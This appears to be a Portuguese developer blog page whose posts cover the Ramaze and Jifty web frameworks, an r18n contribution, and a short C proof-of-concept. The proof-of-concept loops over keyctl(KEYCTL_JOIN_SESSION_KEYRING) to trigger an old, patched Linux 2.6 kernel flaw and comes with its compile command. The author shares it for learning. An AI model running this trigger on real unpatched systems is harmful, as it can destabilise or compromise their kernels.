ra Web Framework for Rubyists

Outubro 16, 2009

Pesquisando algumas informações para o projeto em Sinatra que estou concluindo com o pessoal que trabalho, encontrei alguns textos que me levaram a me interessar por este framework, Ramaze.

Ramaze é um simples e modular framework web escrito em ruby, fornecendo tudo o que precisa para que seu desenvolvimento web seja simples e divertido. Proporciona um estilo “livre” de desenvolvimento, ajudando você a fazer as coisas do jeito que quer. Esta último mostra sua grande inspiração no Nitro.

Ainda não conheço muito dele, apenas fiz algumas brincadeiras; mas me chamou a atenção pelos recursos que nele são apresentados.

Não escrevo como instalar ou mesmo um “hello world!” devido a sua vasta documentação. É pra quem estiver acostumado com o Rails ou Sinatra, não terá muito problema em trabalhar com ele. Quem sabe, pode até se divertir mais fazendo um desenvolvimento multiparadigma :)

Como diria esta apresentação, quantos de vocês tem experiência com o Ramaze?


Ruby Falando em Português

Outubro 9, 2009

Ontem, minha contribuição ao r18n entrou no master do projeto. Agora você pode internacionalizar seu Sinatra, Merb ou outras aplicações para Desktop em Ruby para português ou espanhol.

Mais informações:

http://r18n.rubyforge.org/

http://github.com/ai/r18n

http://github.com/andrem/r18n


Kernel Vulnerability Script

Agosto 22, 2009

Estava apagando algumas coisas em meu HD, e achei esse script em C que fiz para explorar uma falha que existia no Kernel 2.6.x na chamada keyctl_join_session_keyring().

Essa falha já foi corrigida, mas talvez seja útil para aprendizado. Assim, segue:

http://www.vupen.com/english/advisories/2009/0173

#include <stdio.h>
#include <stdlib.h>
#include <keyutils.h>
#include <linux/keyctl.h>

int
main (void)
{
long ret = 0;

while ((ret = keyctl(KEYCTL_JOIN_SESSION_

KEYRING, “name”)) != (long) -1)
printf(“>> Retorno da chave: %ld\n”, ret);

return 0;

}

Compile:

gcc -o kernel_script kernel_script.c -lkeyutils



Primeiros Passos (Jifty)

Julho 28, 2009

Esta é uma tradução livre do texto originalmente publicado aqui: http://jifty.org/view/GettingStarted, como nesta primeira vez que traduzi, volto a afirmar: Meu inglês não é muito bom, e por essa razão traduzi este texto, e outros textos que podem vir a ser postado em meu blog, para melhorar ele. Caso encontrem erros, o que é provável que aconteça, me informe (andreoandre <> gmail <dot> com ) para corrigir e manter o texto atualizado.

Nota: Jifty é um framework web em/para Perl. Veja suas características abaixo:

  • DRY
  • Full-stack – Conjunto de ferramentas ( como database mapper, template, AJAX toolkit, etc.. )
  • Continuationsdeixa o desenvolvedor fazer seu trabalho de forma rápida e elegante :)
  • Form-based dispatch – Forma de renderização e processamento do Jifty ( Você dita a regra e ele cuida do resto)
  • Um Pony – O único que vem com um pônei

Primeiros Passos

É fácil como:

perl -MCPAN -eshell
notest install Jifty

jifty app –name MyJiftyApp
cd MyJiftyApp
jifty model –name User

Edite lib/MyJiftyApp/Model/User.pm adicionando as linhas na seção de Schema:

column name =>
type is ‘text’,
is mandatory;
column email =>
type is ‘text’;

Em seguida executeo comando para criar seu banco de dados:

jifty schema –setup

Quando estiver pronto para usar seu (simplista) novo usuário de  banco de dados, inicie o servidor standalone jifty de sua aplicação:

jifty server

Para se aprofundar mais, veja o manual. Códigos como o Wifty ( como este site), que é um pouco mais complexo que o tutorial do manual, também pode ser um bom lugar para começar — você pode obter o código via svn co http://svn.jifty.org/svn/jifty.org/wifty/trunk.

Se você deseja mais detalhes, de uma olhada aqui:

Você pode assistir 20 minutos de um screencast aquiNota: o screencast ( e outros textos no site) fazem uso do plugin de ‘login’, que ainda não esta pronto para uso, e não vem instalado com o Jifty, por isto, não tente copiar o que você vê pois pode não sair exatamente igual. Para mais informações, consulte cpan rt ticket 24107.